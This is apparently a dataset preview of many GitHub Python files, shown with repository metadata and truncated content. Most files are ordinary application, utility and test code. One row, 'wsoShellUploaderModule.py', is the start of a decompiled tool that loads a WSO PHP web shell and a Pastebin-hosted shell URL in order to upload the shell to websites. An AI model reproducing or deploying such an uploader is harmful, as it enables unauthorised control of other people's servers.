hexsha stringlengths 40 40 | size int64 6 782k | ext stringclasses 7
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 237 | max_stars_repo_name stringlengths 6 72 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses list | max_stars_count int64 1 53k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 184 | max_issues_repo_name stringlengths 6 72 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses list | max_issues_count int64 1 27.1k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 184 | max_forks_repo_name stringlengths 6 72 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses list | max_forks_count int64 1 12.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 782k | avg_line_length float64 2.75 664k | max_line_length int64 5 782k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
49a224548affc71aa14e3dadf082aa7651b854d9 | 1,261 | py | Python | zkouseni.py | Bertik23/spg | f6449f1ca8f3a869f0f493f3988b3d84901c1be0 | [
"MIT"
] | null | null | null | zkouseni.py | Bertik23/spg | f6449f1ca8f3a869f0f493f3988b3d84901c1be0 | [
"MIT"
] | null | null | null | zkouseni.py | Bertik23/spg | f6449f1ca8f3a869f0f493f3988b3d84901c1be0 | [
"MIT"
] | null | null | null | #Zkoušení z matematiky
from random import randint
def priklad():
typ = randint(0,3)
if typ == 0:
#Sčítání
a = randint(1,20)
b = randint(1,20)
zadani = str(a) + " + " + str(b)
spravne = a + b
elif typ == 1:
#Odčítání
spravne = randint(0,20)
b ... | 22.927273 | 146 | 0.510706 |
772d3a7654e556af08c0c3ae618fb00723fed0ee | 2,288 | py | Python | Tools/wsoShellUploaderModule.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | Tools/wsoShellUploaderModule.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | Tools/wsoShellUploaderModule.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z | # uncompyle6 version 2.11.5
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.18 (default, Apr 20 2020, 20:30:41)
# [GCC 9.3.0]
# Embedded file name: Tools\wsoShellUploaderModule.py
import requests
WSoShell = open('files/wso.php', 'r').read()
SHELL_URL = 'https://pastebin.com/raw/dSpsHaiE'
Headers = {'User-A... | 43.169811 | 107 | 0.58479 |
02e82f4f5048caac33e0d23fe6c0577efa832e94 | 3,321 | py | Python | TwLocation-master/TwLocation.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-17T03:35:03.000Z | 2021-12-08T06:00:31.000Z | TwLocation-master/TwLocation.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | null | null | null | TwLocation-master/TwLocation.py | Zusyaku/Termux-And-Lali-Linux-V2 | b1a1b0841d22d4bf2cc7932b72716d55f070871e | [
"Apache-2.0"
] | 2 | 2021-11-05T18:07:48.000Z | 2022-02-24T21:25:07.000Z | #!/usr/bin/python
try:
from twitter import *
import sys
import csv
import time
import os
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
os.system('clear')
file1 = open... | 33.887755 | 128 | 0.654923 |
b85ed4ea906b6083bd4984668ccacc3f611c544e | 4,164 | py | Python | src/server/config.py | MatthiasRiener/DigiPen | 9b4aff4a1c431e06d73733dc3dd3f3f3d4631704 | [
"MIT"
] | null | null | null | src/server/config.py | MatthiasRiener/DigiPen | 9b4aff4a1c431e06d73733dc3dd3f3f3d4631704 | [
"MIT"
] | null | null | null | src/server/config.py | MatthiasRiener/DigiPen | 9b4aff4a1c431e06d73733dc3dd3f3f3d4631704 | [
"MIT"
] | null | null | null | from flask import Flask, render_template, Blueprint, blueprints
from app.endpoints.auth.controllers import auth
from app.endpoints.error.controllers import pagenotfound
#from app.endpoints.profile.controllers import profile
#from app.endpoints.workspace.controllers import workspace
from app.endpoints.dashboard.controll... | 34.991597 | 89 | 0.800432 |
02678f231cf4f0c58191d1995a4c25bbc952fc0b | 2,624 | py | Python | tools/pollers/lraEbeArcgisImpfungen.py | fxedel/vaterstetten-in-zahlen | c161a18fd72a7f1ca695b075e029090d604ccdd2 | [
"MIT"
] | 10 | 2021-01-28T21:43:22.000Z | 2022-01-15T16:50:34.000Z | tools/pollers/lraEbeArcgisImpfungen.py | fxedel/vaterstetten-in-zahlen | c161a18fd72a7f1ca695b075e029090d604ccdd2 | [
"MIT"
] | 7 | 2021-06-10T07:19:21.000Z | 2022-03-22T15:11:17.000Z | tools/pollers/lraEbeArcgisImpfungen.py | fxedel/vaterstetten-in-zahlen | c161a18fd72a7f1ca695b075e029090d604ccdd2 | [
"MIT"
] | 5 | 2021-01-29T14:14:45.000Z | 2022-01-09T15:37:36.000Z | from arcgis.features import FeatureLayer
from arcgis.features.feature import Feature
from datetime import datetime
import os
import time
import pollers.poller
class Poller(pollers.poller.Poller):
def run(self):
csv_filename = os.path.join('corona-impfungen', 'arcgisImpfungen.csv');
current_rows = self.read_... | 35.459459 | 155 | 0.66997 |
5a25e21f6075c370a121e0d12be893c5c8ce0316 | 35,883 | py | Python | Contrib-Microsoft/Olympus_rack_manager/python-ocs/rackmanager/redfish/resources.py | opencomputeproject/Rack-Manager | e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a | [
"MIT"
] | 5 | 2019-11-11T07:57:26.000Z | 2022-03-28T08:26:53.000Z | Contrib-Microsoft/Olympus_rack_manager/python-ocs/rackmanager/redfish/resources.py | opencomputeproject/Rack-Manager | e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a | [
"MIT"
] | 3 | 2019-09-05T21:47:07.000Z | 2019-09-17T18:10:45.000Z | Contrib-Microsoft/Olympus_rack_manager/python-ocs/rackmanager/redfish/resources.py | opencomputeproject/Rack-Manager | e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a | [
"MIT"
] | 11 | 2019-07-20T00:16:32.000Z | 2022-01-11T14:17:48.000Z | # Copyright (C) Microsoft Corporation. All rights reserved.
# This program is free software; you can redistribute it
# and/or modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
import os
... | 40.272727 | 116 | 0.588106 |
5a5a8162189b33c7ae63cd7db5765a7e73ebf672 | 14,999 | py | Python | src/onegov/event/models/event.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/event/models/event.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/event/models/event.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | import warnings
from datetime import datetime
from dateutil import rrule
from dateutil.rrule import rrulestr
from icalendar import Calendar as vCalendar
from icalendar import Event as vEvent
from icalendar import vRecur
from onegov.core.orm import Base
from onegov.core.orm.abstract import associated
from onegov.core.o... | 33.934389 | 79 | 0.617975 |
ce70f7636cc651a69246c9f25c0479e7acef37f5 | 397 | py | Python | Uebung2/Uebung2_Aufgabe5_1.py | B0mM3L6000/EiP | f68718f95a2d3cde8ead62b6134ac1b5068881a5 | [
"MIT"
] | 1 | 2018-04-18T19:10:06.000Z | 2018-04-18T19:10:06.000Z | Uebung2/Uebung2_Aufgabe5_1.py | B0mM3L6000/EiP | f68718f95a2d3cde8ead62b6134ac1b5068881a5 | [
"MIT"
] | null | null | null | Uebung2/Uebung2_Aufgabe5_1.py | B0mM3L6000/EiP | f68718f95a2d3cde8ead62b6134ac1b5068881a5 | [
"MIT"
] | 1 | 2018-04-29T08:48:00.000Z | 2018-04-29T08:48:00.000Z | # Einlesen des Wertes R
R = float(input("Rate:"))
# Einlesen des Wertes p
p = float(input("Zins:"))
# Einlesen des Wertes n
n = float(input("Perioden:"))
#Variablen initialisieren:
K = 0
zaehler = int(n)
i = 1
#Perioden durchgehen und Raten einzahlen und dann verzinsen:
while i < zaehler+1:
K = (K + R)*(1+p)
... | 19.85 | 60 | 0.664987 |
0ba9d39ff52f93cb2257eef76f615d7f140984f9 | 1,702 | py | Python | trainner.py | junchenfeng/diagnosis_tracing | 4e26e2ad0c7abc547f22774b6c9c299999a152c3 | [
"MIT"
] | null | null | null | trainner.py | junchenfeng/diagnosis_tracing | 4e26e2ad0c7abc547f22774b6c9c299999a152c3 | [
"MIT"
] | null | null | null | trainner.py | junchenfeng/diagnosis_tracing | 4e26e2ad0c7abc547f22774b6c9c299999a152c3 | [
"MIT"
] | 1 | 2020-09-08T13:42:16.000Z | 2020-09-08T13:42:16.000Z | import csv
from rnn import *
from torch import optim
from torch import tensor
from torch.nn.utils import clip_grad_value_
from torch.nn import CrossEntropyLoss
def load_data(file_name,tid = None):
fo = open(file_name,'r',encoding='utf8')
reader = csv.reader(fo)
data = []
i=1
while Tru... | 26.59375 | 67 | 0.513514 |
6530fe2f234f3c2152fc68bd570e7313c72df9d5 | 794 | py | Python | examples/read_analog.py | RMGrau/PhyPiDAQ | e7ea08a0d5de9772a1a5e32ccd0ab1bfddf9ff54 | [
"BSD-2-Clause"
] | 7 | 2018-11-30T13:38:27.000Z | 2021-03-10T15:37:56.000Z | examples/read_analog.py | RMGrau/PhyPiDAQ | e7ea08a0d5de9772a1a5e32ccd0ab1bfddf9ff54 | [
"BSD-2-Clause"
] | 5 | 2020-11-11T09:19:00.000Z | 2022-02-06T09:04:55.000Z | examples/read_analog.py | RMGrau/PhyPiDAQ | e7ea08a0d5de9772a1a5e32ccd0ab1bfddf9ff54 | [
"BSD-2-Clause"
] | 16 | 2019-04-16T10:15:45.000Z | 2021-12-15T14:59:31.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
'''read_analog.py
this script illustrates the general usage of package phypidaq
pirints data read from an analog channel
'''
import time, numpy as np
# import module controlling readout device
from phypidaq.ADS1115Config import *
#from phypidaq.MCP3008Config im... | 20.894737 | 66 | 0.692695 |
d7a3cba2b3cd691f22cefb41effd1f6b1efcb712 | 645 | py | Python | 04_SQL/commerce/auctions/migrations/0003_auto_20201103_1456.py | DaviNakamuraCardoso/Harvard-CS50-Web-Programming | afec745eede41f7b294c3ee6ebaff9ac042e5e4c | [
"MIT"
] | null | null | null | 04_SQL/commerce/auctions/migrations/0003_auto_20201103_1456.py | DaviNakamuraCardoso/Harvard-CS50-Web-Programming | afec745eede41f7b294c3ee6ebaff9ac042e5e4c | [
"MIT"
] | null | null | null | 04_SQL/commerce/auctions/migrations/0003_auto_20201103_1456.py | DaviNakamuraCardoso/Harvard-CS50-Web-Programming | afec745eede41f7b294c3ee6ebaff9ac042e5e4c | [
"MIT"
] | null | null | null | # Generated by Django 3.1.2 on 2020-11-03 14:56
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('auctions', '0002_auto_20201103_1448'),
]
operations = [
migrations.RemoveField(
model_name='lis... | 25.8 | 140 | 0.613953 |
d7c254f67ca2fdb65cd8b4653d46557d5fe574e0 | 1,523 | py | Python | src/onegov/onboarding/theme/onboarding_theme.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/onboarding/theme/onboarding_theme.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/onboarding/theme/onboarding_theme.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from collections import OrderedDict
from onegov.foundation import BaseTheme
from onegov.core.utils import module_path
class OnboardingTheme(BaseTheme):
name = 'onegov.onboarding.foundation'
@property
def post_imports(self):
return [
'onboarding'
]
@property
def defaul... | 28.735849 | 65 | 0.465529 |
f0f674cd358985fb347b70c926b7ee01f63a23a0 | 960 | py | Python | python/socket/getaddrinfo_extra_args.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/socket/getaddrinfo_extra_args.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/socket/getaddrinfo_extra_args.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | import socket
def get_constants(prefix):
"""Create a dictionary mapping socket module
constants to their names.
"""
return {
getattr(socket, n): n
for n in dir(socket)
if n.startswith(prefix)
}
families = get_constants('AF_')
types = get_constants('SOCK_')
protocols = get... | 24.615385 | 70 | 0.659375 |
c5e7d6ece059fc2921c4bafaa20cbfa1694ef3de | 22,197 | py | Python | MRL-DB-Setup/MRL-DB_Setup.py | BIMInstitut/MRL-Datenbank | 81130071d3b76eba010e7649a2cbaf0a1b7dcfc4 | [
"MIT"
] | 1 | 2021-12-09T09:24:06.000Z | 2021-12-09T09:24:06.000Z | MRL-DB-Setup/MRL-DB_Setup.py | BIMInstitut/MRL-Datenbank | 81130071d3b76eba010e7649a2cbaf0a1b7dcfc4 | [
"MIT"
] | null | null | null | MRL-DB-Setup/MRL-DB_Setup.py | BIMInstitut/MRL-Datenbank | 81130071d3b76eba010e7649a2cbaf0a1b7dcfc4 | [
"MIT"
] | null | null | null | import urllib.request # file downloads
import psycopg2 # db connection
import pandas as pd # data frames
import numpy as np # stuff
import time
import os
from psycopg2.extensions import register_adapter, AsIs
psycopg2.extensions.register_adapter(np.int64, psycopg2._psycopg.AsIs)
# Einlesen der Tabellenblätter... | 36.269608 | 173 | 0.555751 |
a894f0182ffa552f9ff49c1597536281d6233999 | 275 | py | Python | 2176-count-equal-and-divisible-pairs-in-an-array/2176-count-equal-and-divisible-pairs-in-an-array.py | hyeseonko/LeetCode | 48dfc93f1638e13041d8ce1420517a886abbdc77 | [
"MIT"
] | 2 | 2021-12-05T14:29:06.000Z | 2022-01-01T05:46:13.000Z | 2176-count-equal-and-divisible-pairs-in-an-array/2176-count-equal-and-divisible-pairs-in-an-array.py | hyeseonko/LeetCode | 48dfc93f1638e13041d8ce1420517a886abbdc77 | [
"MIT"
] | null | null | null | 2176-count-equal-and-divisible-pairs-in-an-array/2176-count-equal-and-divisible-pairs-in-an-array.py | hyeseonko/LeetCode | 48dfc93f1638e13041d8ce1420517a886abbdc77 | [
"MIT"
] | null | null | null | class Solution:
def countPairs(self, nums: List[int], k: int) -> int:
result=0
for i in range(len(nums)-1):
for j in range(i+1, len(nums)):
if nums[i]==nums[j] and (i*j)%k==0:
result+=1
return result | 34.375 | 57 | 0.48 |
4fcaa88f606dccf2f0dfd441e11c4d85b6828d3a | 247 | py | Python | exercises/ja/solution_02_02_02.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | 2 | 2020-07-07T01:46:37.000Z | 2021-04-20T03:19:43.000Z | exercises/ja/solution_02_02_02.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | exercises/ja/solution_02_02_02.py | tuanducdesign/spacy-course | f8d092c5fa2997fccb3f367d174dce8667932b3d | [
"MIT"
] | null | null | null | import spacy
nlp = spacy.blank("ja")
doc = nlp("デヴィッド・ボウイはPERSONです")
# ラベル「PERSON」のハッシュを引く
person_hash = nlp.vocab.strings["PERSON"]
print(person_hash)
# person_hashを引いて文字列を取得
person_string = nlp.vocab.strings[person_hash]
print(person_string)
| 19 | 46 | 0.777328 |
8cb88734cc7d800bdd180a7e3e439c90331f851e | 2,104 | py | Python | menucard/tests/test_urls.py | baniasbaabe/happy-qr | bf44ac19306ea6405cc7c9a100e6f83afca125b4 | [
"MIT"
] | 1 | 2021-01-23T21:42:10.000Z | 2021-01-23T21:42:10.000Z | menucard/tests/test_urls.py | baniasbaabe/happy-qr | bf44ac19306ea6405cc7c9a100e6f83afca125b4 | [
"MIT"
] | null | null | null | menucard/tests/test_urls.py | baniasbaabe/happy-qr | bf44ac19306ea6405cc7c9a100e6f83afca125b4 | [
"MIT"
] | null | null | null | from django.test import TestCase, Client
from django.urls import reverse, resolve
from menucard.views import *
from django.contrib.auth.models import User, Permission, Group
class TestUrls(TestCase):
def setUp(self):
self.user = User.objects.create_superuser(username="user1", email="user1@example.de", pas... | 36.275862 | 116 | 0.710076 |
508b61bbef4ee307443e0e83b8e3a59ab198fc36 | 1,149 | py | Python | tests/test_kriteriumswert.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | 1 | 2022-03-02T12:49:44.000Z | 2022-03-02T12:49:44.000Z | tests/test_kriteriumswert.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | 21 | 2022-02-04T07:38:46.000Z | 2022-03-28T14:01:53.000Z | tests/test_kriteriumswert.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | null | null | null | import pytest # type:ignore[import]
from bo4e.com.kriteriumwert import KriteriumWert, KriteriumWertSchema
from bo4e.enum.tarifregionskriterium import Tarifregionskriterium
from tests.serialization_helper import assert_serialization_roundtrip # type:ignore[import]
class TestKriteriumWert:
@pytest.mark.parametri... | 37.064516 | 113 | 0.669278 |
e87faffceaf40e53f91faee2af267fa699b03936 | 159 | py | Python | my_music_app/my_music_app/web/helpers.py | trenev/softuni-python-web-basics | 0fcf6b7f3389d06685d40615c376dc4027e772f2 | [
"MIT"
] | 1 | 2022-03-03T10:16:14.000Z | 2022-03-03T10:16:14.000Z | my_music_app/my_music_app/web/helpers.py | trenev/softuni-python-web-basics | 0fcf6b7f3389d06685d40615c376dc4027e772f2 | [
"MIT"
] | null | null | null | my_music_app/my_music_app/web/helpers.py | trenev/softuni-python-web-basics | 0fcf6b7f3389d06685d40615c376dc4027e772f2 | [
"MIT"
] | null | null | null | from my_music_app.web.models import Profile
def get_profile():
profile = Profile.objects.first()
if profile:
return profile
return None
| 15.9 | 43 | 0.691824 |
e8d05a741c8e031061686517b6bed33eb62e09d4 | 2,655 | py | Python | tests/onegov/reservation/test_pricing.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/reservation/test_pricing.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/reservation/test_pricing.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from datetime import datetime
from onegov.reservation import ResourceCollection
def test_per_hour_pricing(libres_context):
collection = ResourceCollection(libres_context)
resource = collection.add('Executive Lounge', 'Europe/Zurich')
resource.currency = 'CHF'
resource.pricing_method = 'per_hour'
... | 36.369863 | 66 | 0.711864 |
e8d86eba7e468ca384fd2ab5d7d3a4796a8e0693 | 1,947 | py | Python | benchmark/paddle/transformer_benchmark.py | hutuxian/FleetX | 843c7aa33f5a14680becf058a3aaf0327eefafd4 | [
"Apache-2.0"
] | 170 | 2020-08-12T12:07:01.000Z | 2022-03-07T02:38:26.000Z | benchmark/paddle/transformer_benchmark.py | hutuxian/FleetX | 843c7aa33f5a14680becf058a3aaf0327eefafd4 | [
"Apache-2.0"
] | 195 | 2020-08-13T03:22:15.000Z | 2022-03-30T07:40:25.000Z | benchmark/paddle/transformer_benchmark.py | hutuxian/FleetX | 843c7aa33f5a14680becf058a3aaf0327eefafd4 | [
"Apache-2.0"
] | 67 | 2020-08-14T02:07:46.000Z | 2022-03-28T10:05:33.000Z | # Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 38.94 | 74 | 0.779661 |
2cf2bcffa8683950044a2f33a2b991358518a8cb | 5,637 | py | Python | applications/experimental/pipelines/pipelines/utils/tokenization.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | applications/experimental/pipelines/pipelines/utils/tokenization.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | applications/experimental/pipelines/pipelines/utils/tokenization.py | mukaiu/PaddleNLP | 0315365dbafa6e3b1c7147121ba85e05884125a5 | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
# Copyright 2018 deepset team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agree... | 41.755556 | 149 | 0.654249 |
fa20286bc409f3e36191a1dd99e40f46dbe5e3e1 | 2,864 | py | Python | test/test_npu/test_hardtanh_backward.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-12-02T03:07:35.000Z | 2021-12-02T03:07:35.000Z | test/test_npu/test_hardtanh_backward.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-11-12T07:23:03.000Z | 2021-11-12T08:28:13.000Z | test/test_npu/test_hardtanh_backward.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2020, Huawei Technologies.All rights reserved.
#
# Licensed under the BSD 3-Clause License (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless required by applicable law... | 40.914286 | 96 | 0.641411 |
fa35ffa9c5522a3439e98448352e95cea00cd93c | 700 | py | Python | chapter_seven/numpy_model_in_rust/flitton_fib_rs/numpy_model.py | PacktPublishing/Speed-up-your-Python-with-Rust | 1fce5fb59ea966015768e7eca51c0e31d69531ec | [
"MIT"
] | 21 | 2021-09-10T12:46:26.000Z | 2022-03-23T02:50:39.000Z | chapter_seven/numpy_model_in_rust/flitton_fib_rs/numpy_model.py | PacktPublishing/Speed-up-your-Python-with-Rust | 1fce5fb59ea966015768e7eca51c0e31d69531ec | [
"MIT"
] | null | null | null | chapter_seven/numpy_model_in_rust/flitton_fib_rs/numpy_model.py | PacktPublishing/Speed-up-your-Python-with-Rust | 1fce5fb59ea966015768e7eca51c0e31d69531ec | [
"MIT"
] | 6 | 2021-09-02T08:32:37.000Z | 2022-03-17T21:15:25.000Z | from .flitton_fib_rs import calculate_times, calculate_parameters
class NumpyInterface:
def __init__(self):
self.inventory = {}
def calc_times(self, distance, traffic_grade):
result = calculate_times({}, distance,
traffic_grade)
self.inventory["car ti... | 33.333333 | 68 | 0.6 |
d75d321a6682235ec3e4af2ce87dfd0642aab51b | 2,374 | py | Python | venv/Lib/site-packages/pynance/tst/unit/data/test_combine.py | LeonardoHMS/imobi | 6b2b97a05df67ea7d493f7b601382f65c6629cc2 | [
"MIT"
] | 35 | 2015-03-12T04:16:14.000Z | 2020-12-17T18:10:15.000Z | venv/Lib/site-packages/pynance/tst/unit/data/test_combine.py | LeonardoHMS/imobi | 6b2b97a05df67ea7d493f7b601382f65c6629cc2 | [
"MIT"
] | 31 | 2015-03-16T21:31:04.000Z | 2021-01-26T00:12:34.000Z | venv/Lib/site-packages/pynance/tst/unit/data/test_combine.py | LeonardoHMS/imobi | 6b2b97a05df67ea7d493f7b601382f65c6629cc2 | [
"MIT"
] | 18 | 2015-09-30T10:40:26.000Z | 2021-01-25T21:20:44.000Z | """
Copyright (c) 2014 Marshall Farrier
license http://opensource.org/licenses/MIT
@author: Marshall Farrier
@contact: marshalldfarrier@gmail.com
@since: 2014-11-02
@summary: Unit tests for data module
"""
from functools import partial
import unittest
import numpy as np
import pandas as pd
import pynance as pn
cla... | 37.68254 | 111 | 0.581719 |
d105800a5408f035b3847f156fc91e752496a0ae | 1,907 | py | Python | python_experiments/data_analysis/vldbj_data_parsing/reads_querying_time_statistics.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | 8 | 2020-04-14T23:17:00.000Z | 2021-06-21T12:34:04.000Z | python_experiments/data_analysis/vldbj_data_parsing/reads_querying_time_statistics.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | null | null | null | python_experiments/data_analysis/vldbj_data_parsing/reads_querying_time_statistics.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | 1 | 2021-01-17T16:26:50.000Z | 2021-01-17T16:26:50.000Z | from data_analysis.vldbj_data_parsing.reads_indexing_statistics import *
pair_num_lst = [10 ** 4, 10 ** 5]
query_time_tag = 'total query cpu time'
def get_time_lst(data_set, pair_num, round_num, result_file_name):
cpu_time_lst = []
stat_folder = reads_efficiency_folder
for round_i in range(round_num):
... | 39.729167 | 117 | 0.707918 |
d12a3898fbea12d4e438a13e2720078c4a888817 | 4,224 | py | Python | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/notification/test_slack.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/notification/test_slack.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/notification/test_slack.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | import json
import pytest
from ansible_collections.community.general.tests.unit.compat.mock import patch
from ansible_collections.community.general.plugins.modules.notification import slack
from ansible_collections.community.general.tests.unit.modules.utils import AnsibleExitJson, AnsibleFailJson, ModuleTestCase, set_m... | 34.909091 | 140 | 0.611269 |
66fbb7432532cc801150427bd85717200fb35775 | 925 | py | Python | 7_DeepLearning-GANs/02_DCGAN/CIFAR10/Generator.py | felixdittrich92/DeepLearning-tensorflow-keras | 2880d8ed28ba87f28851affa92b6fa99d2e47be9 | [
"Apache-2.0"
] | null | null | null | 7_DeepLearning-GANs/02_DCGAN/CIFAR10/Generator.py | felixdittrich92/DeepLearning-tensorflow-keras | 2880d8ed28ba87f28851affa92b6fa99d2e47be9 | [
"Apache-2.0"
] | null | null | null | 7_DeepLearning-GANs/02_DCGAN/CIFAR10/Generator.py | felixdittrich92/DeepLearning-tensorflow-keras | 2880d8ed28ba87f28851affa92b6fa99d2e47be9 | [
"Apache-2.0"
] | null | null | null | from tensorflow.keras.layers import *
from tensorflow.keras.models import *
from tensorflow.keras.optimizers import *
def build_generator(z_dimension, channels):
model = Sequential()
model.add(Dense(128 * 8 * 8, input_dim=z_dimension))
model.add(LeakyReLU(alpha=0.2))
model.add(Reshape((... | 29.83871 | 63 | 0.67027 |
7e878148b5d66cf8567c29ef67c10509f9cdc6ce | 851 | py | Python | leetcode/508-Most-Frequent-Subtree-Sum/MostFreqSubtreeSum_rec.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2015-12-16T04:01:03.000Z | 2015-12-16T04:01:03.000Z | leetcode/508-Most-Frequent-Subtree-Sum/MostFreqSubtreeSum_rec.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 1 | 2016-02-09T06:00:07.000Z | 2016-02-09T07:20:13.000Z | leetcode/508-Most-Frequent-Subtree-Sum/MostFreqSubtreeSum_rec.py | cc13ny/all-in | bc0b01e44e121ea68724da16f25f7e24386c53de | [
"MIT"
] | 2 | 2019-06-27T09:07:26.000Z | 2019-07-01T04:40:13.000Z | # Definition for a binary tree node.
# class TreeNode(object):
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution(object):
def findFrequentTreeSum(self, root):
"""
:type root: TreeNode
:rtype: List[int]
"""
... | 27.451613 | 61 | 0.494712 |
7ea62003541cab88d44596320367861a23310f0b | 763 | py | Python | python/coursera_python/WESLEYAN/week2/6.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
